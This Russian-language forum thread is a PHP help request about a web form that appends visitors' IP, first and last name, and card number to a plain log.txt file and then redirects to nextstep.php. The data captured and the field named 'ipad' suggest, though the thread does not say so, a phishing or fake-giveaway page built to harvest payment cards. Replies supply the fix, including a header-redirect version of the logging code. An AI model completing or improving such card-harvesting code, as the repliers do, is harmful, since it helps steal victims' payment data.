Загрузка...

Нужна пoмощь PHP

Тема в разделе Backend создана пользователем Symbian_inactive472154 21 ноя 2020. 267 просмотров

  1. Symbian_inactive472154
    Symbian_inactive472154 Автор темы 21 ноя 2020 Limits are only in your mind 82 26 июн 2018
    мне надо, чтобы по тыку на сабмит
    1) сохранялись данные в log.txt
    2) открывался nextstep.php

    Если давать форме атрибут action="nextstep.php" - по клику на сабмит есть переход на страницу, но при этом данные не сохраняются в логах
    Без атрибута action="" данные сохраняются, обновляется страница, но никак не могу осуществить переход на nextstep.php. Пробовал через тег <a>, вешал событие перехода по ссылке на onclick в JS, всё нихуя не работает. Даже если переход происходит, не сохраняются данные в логе :/


    Код
     
    <?php
    $ip = getIp();
    if (isset($_POST['ipad']) && isset($_POST['name']) && isset($_POST['surname']) && isset($_POST['cardnum'])) {
    $fp = fopen('log.txt', 'a');
    fwrite($fp, $_POST['ipad']. ' ' . $_POST['name'] . ' ' . $_POST['surname'] . ' ' . $_POST['cardnum'] . "\r\n");
    fclose($fp);
    }
    ?>
    <form method="post" action="nextstep.php">
    / ИНПУТЫ /
    <button type="submit" class="btn font-text" id="uid7" data-id="" data-action="link" data-ym_goal="" data-ga_category="" data-ga_action="" need_hover="true"><span class="text">ОТПРАВИТЬ </span></button>
    </form>
     
  2. NeBotFather
    NeBotFather 21 ноя 2020 225 17 апр 2019
    Код PHP записи лога нужно переместить в nextstep.php, а с формой вроде все норм
     
    1. Посмотреть предыдущие комментарии (6)
    2. NeBotFather
  3. USDC
    PHP
    <?php
    $ip = getIp();
    if (isset($_POST['ipad']) && isset($_POST['name']) && isset($_POST['surname']) && isset($_POST['cardnum'])) {
    $fp = fopen('log.txt', 'a');
    fwrite($fp, $_POST['ipad']. ' ' . $_POST['name'] . ' ' . $_POST['surname'] . ' ' . $_POST['cardnum'] . "\r\n");
    fclose($fp);
    }
    header('location: /nextstep.php');
    exit;
    ?>
    <form method="post" >
    / ИНПУТЫ /
    <button type="submit" class="btn font-text" id="uid7" data-id="" data-action="link" data-ym_goal="" data-ga_category="" data-ga_action="" need_hover="true"><span class="text">ОТПРАВИТЬ </span></button>
    </form>
     
Загрузка...
Top